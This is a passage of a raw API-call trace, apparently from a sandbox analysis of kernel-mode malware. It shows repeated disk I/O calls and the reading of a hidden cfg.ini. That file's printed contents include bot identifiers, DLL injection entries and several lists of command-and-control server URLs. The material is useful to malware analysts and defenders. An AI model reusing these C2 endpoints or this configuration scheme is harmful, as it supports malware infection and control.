Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.854] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.854] IdePortDispatch () returned 0x103 [0058.854] KeWaitForMutexObject () returned 0x0 [0058.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.854] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.854] IdePortDispatch () returned 0x103 [0058.855] KeWaitForMutexObject () returned 0x0 [0058.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.855] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.855] IdePortDispatch () returned 0x103 [0058.855] KeWaitForMutexObject () returned 0x0 [0058.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.855] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.855] IdePortDispatch () returned 0x103 [0058.855] KeWaitForMutexObject () returned 0x0 [0058.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.855] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.855] IdePortDispatch () returned 0x103 [0058.856] KeWaitForMutexObject () returned 0x0 [0058.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.856] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.856] IdePortDispatch () returned 0x103 [0058.856] KeWaitForMutexObject () returned 0x0 [0058.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.856] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.856] IdePortDispatch () returned 0x103 [0058.857] KeWaitForMutexObject () returned 0x0 [0058.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.857] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.857] IdePortDispatch () returned 0x103 [0058.857] KeWaitForMutexObject () returned 0x0 [0058.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.857] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.857] IdePortDispatch () returned 0x103 [0058.857] KeWaitForMutexObject () returned 0x0 [0058.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.858] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.858] IdePortDispatch () returned 0x103 [0058.858] KeWaitForMutexObject () returned 0x0 [0058.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.858] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.858] IdePortDispatch () returned 0x103 [0058.858] KeWaitForMutexObject () returned 0x0 [0058.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.858] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.858] IdePortDispatch () returned 0x103 [0058.859] KeWaitForMutexObject () returned 0x0 [0058.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.859] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.859] IdePortDispatch () returned 0x103 [0058.859] KeWaitForMutexObject () returned 0x0 [0058.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.859] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.859] IdePortDispatch () returned 0x103 [0058.859] KeWaitForMutexObject () returned 0x0 [0058.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.861] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.861] IdePortDispatch () returned 0x103 [0058.861] KeWaitForMutexObject () returned 0x0 [0058.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0058.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.861] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0058.861] IdePortDispatch () returned 0x103 [0058.861] KeWaitForMutexObject () returned 0x0 [0058.861] _snwprintf (in: _Dest=0xfffffa80027d33c0, _Count=0x103, _Format="%s\\cfg.ini" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 33 [0058.861] RtlInitUnicodeString (in: DestinationString=0xfffff88002fab5d0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0058.861] ZwCreateFile (in: FileHandle=0xfffff88002faba60, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002fab5f8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002fab5c0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002faba60*=0xffffffff8000010c, IoStatusBlock=0xfffff88002fab5c0) returned 0x0 [0058.861] _snprintf (in: _Dest=0xfffff88002faad30, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.861] KeEnterCriticalRegion () [0058.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.861] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.861] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80027b2010 [0058.861] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.861] KeInitializeEvent (in: Event=0xfffff88002faaba0, Type=0x0, State=0 | out: Event=0xfffff88002faaba0) [0058.861] IdePortDispatch () returned 0x103 [0058.862] KeWaitForMutexObject () returned 0x0 [0058.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0058.862] strncpy (in: _Dest=0xfffffa80027db058, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0058.862] FsRtlInitializeFileLock (FileLock=0xfffffa80027db068, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0058.862] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002a308f0 [0058.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.862] KeLeaveCriticalRegion () [0058.862] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.862] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002fab6a0, ZeroBits=0x0, RegionSize=0xfffff88002fab6a8, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002fab6a0*=0x40000, RegionSize=0xfffff88002fab6a8*=0x1000) returned 0x0 [0058.862] NtLockFile (in: FileHandle=0xffffffff8000010c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x40000, ByteOffset=0x40010, Length=0x40018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x40000) returned 0x0 [0058.862] _snprintf (in: _Dest=0xfffff88002fab270, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.862] KeEnterCriticalRegion () [0058.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.862] FsRtlProcessFileLock (FileLock=0xfffffa80027db068, Irp=0xfffffa80018df580, Context=0x0) returned 0x0 [0058.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.862] KeLeaveCriticalRegion () [0058.862] ZwQueryInformationFile (in: FileHandle=0xffffffff8000010c, IoStatusBlock=0xfffff88002fab5c0, FileInformation=0xfffff88002fab5e0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002fab5c0, FileInformation=0xfffff88002fab5e0) returned 0x0 [0058.862] _snprintf (in: _Dest=0xfffff88002fab070, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.862] KeEnterCriticalRegion () [0058.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa80027b2010 [0058.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0058.862] KeInitializeEvent (in: Event=0xfffff88002faaf00, Type=0x0, State=0 | out: Event=0xfffff88002faaf00) [0058.862] IdePortDispatch () returned 0x103 [0058.862] KeWaitForMutexObject () returned 0x0 [0058.862] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0058.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.863] KeLeaveCriticalRegion () [0058.863] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.863] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x189) returned 0xfffff8a0001b5610 [0058.863] _snprintf (in: _Dest=0xfffff88002fab6e0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[main]\r\n") returned 8 [0058.863] _strlwr (in: _Str="[main]\r\n" | out: _Str="[main]\r\n") returned="[main]\r\n" [0058.863] _snprintf (in: _Dest=0xfffff88002fab7f0, _Count=0x104, _Format="%s=" | out: _Dest="version=") returned 8 [0058.863] _strlwr (in: _Str="version=" | out: _Str="version=") returned="version=" [0058.863] ZwReadFile (in: FileHandle=0xffffffff8000010c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002fab5c0, Buffer=0xfffff8a0001b5610, BufferLength=0x188, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002fab5c0, Buffer=0xfffff8a0001b5610*) returned 0x0 [0058.863] _snprintf (in: _Dest=0xfffff88002fab050, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.863] KeEnterCriticalRegion () [0058.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.863] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da0610 [0058.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.863] KeInitializeEvent (in: Event=0xfffff88002faaeb0, Type=0x0, State=0 | out: Event=0xfffff88002faaeb0) [0058.863] IdePortDispatch () returned 0x103 [0058.863] KeWaitForMutexObject () returned 0x0 [0058.863] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0058.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.863] KeInitializeEvent (in: Event=0xfffff88002faaeb0, Type=0x0, State=0 | out: Event=0xfffff88002faaeb0) [0058.863] IdePortDispatch () returned 0x103 [0058.863] KeWaitForMutexObject () returned 0x0 [0058.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.863] KeLeaveCriticalRegion () [0058.863] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.863] strstr (_Str="[main]\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[main]\r\n") returned="[main]\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0058.863] strstr (_Str="aid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n", _SubStr="version=") returned 0x0 [0058.863] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002fab6a0*=0x40000, RegionSize=0xfffff88002fab6a8, FreeType=0x8000) returned 0x0 [0058.864] ZwWriteFile (in: FileHandle=0xffffffff8000010c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0xfffff88002fab6c0, Buffer=0xfffff88002fab7f0*, Length=0x8, ByteOffset=0xfffff88002faba50*=8, Key=0x0 | out: IoStatusBlock=0xfffff88002fab6c0, Buffer=0xfffff88002fab7f0*) returned 0x0 [0058.864] _snprintf (in: _Dest=0xfffff88002fab140, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.864] KeEnterCriticalRegion () [0058.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.864] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff88002da17f0 [0058.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.864] KeInitializeEvent (in: Event=0xfffff88002faaf60, Type=0x0, State=0 | out: Event=0xfffff88002faaf60) [0058.864] IdePortDispatch () returned 0x103 [0058.864] KeWaitForMutexObject () returned 0x0 [0058.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0058.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.864] KeInitializeEvent (in: Event=0xfffff88002faaf60, Type=0x0, State=0 | out: Event=0xfffff88002faaf60) [0058.864] IdePortDispatch () returned 0x103 [0058.864] KeWaitForMutexObject () returned 0x0 [0058.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.864] KeInitializeEvent (in: Event=0xfffff88002faaf30, Type=0x0, State=0 | out: Event=0xfffff88002faaf30) [0058.864] IdePortDispatch () returned 0x103 [0058.864] KeWaitForMutexObject () returned 0x0 [0058.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.865] KeLeaveCriticalRegion () [0058.865] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.865] ZwWriteFile (in: FileHandle=0xffffffff8000010c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0xfffff88002fab6c0, Buffer=0xfffffa80027cf438*, Length=0x4, ByteOffset=0xfffff88002faba50*=16, Key=0x0 | out: IoStatusBlock=0xfffff88002fab6c0, Buffer=0xfffffa80027cf438*) returned 0x0 [0058.865] _snprintf (in: _Dest=0xfffff88002fab140, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.865] KeEnterCriticalRegion () [0058.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.865] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff88002da2438 [0058.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.865] KeInitializeEvent (in: Event=0xfffff88002faaf60, Type=0x0, State=0 | out: Event=0xfffff88002faaf60) [0058.865] IdePortDispatch () returned 0x103 [0058.865] KeWaitForMutexObject () returned 0x0 [0058.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0058.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.865] KeInitializeEvent (in: Event=0xfffff88002faaf60, Type=0x0, State=0 | out: Event=0xfffff88002faaf60) [0058.865] IdePortDispatch () returned 0x103 [0058.865] KeWaitForMutexObject () returned 0x0 [0058.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.865] KeInitializeEvent (in: Event=0xfffff88002faaf30, Type=0x0, State=0 | out: Event=0xfffff88002faaf30) [0058.865] IdePortDispatch () returned 0x103 [0058.865] KeWaitForMutexObject () returned 0x0 [0058.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.866] KeLeaveCriticalRegion () [0058.866] IofCompleteRequest (Irp=0xfffffa80018df580, PriorityBoost=0) [0058.866] ZwWriteFile (in: FileHandle=0xffffffff8000010c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0xfffff88002fab6c0, Buffer=0xfffffa80027cf4d8*, Length=0x2, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002fab6c0, Buffer=0xfffffa80027cf4d8*) returned 0x0 [0058.866] _snprintf (in: _Dest=0xfffff88002fab140, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0058.866] KeEnterCriticalRegion () [0058.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0058.866] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff88002da34d8 [0058.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018af570 [0058.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018af570 | out: Irp=0xfffffa80018af570) returned 0xfffffa800dd48630 [0058.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: 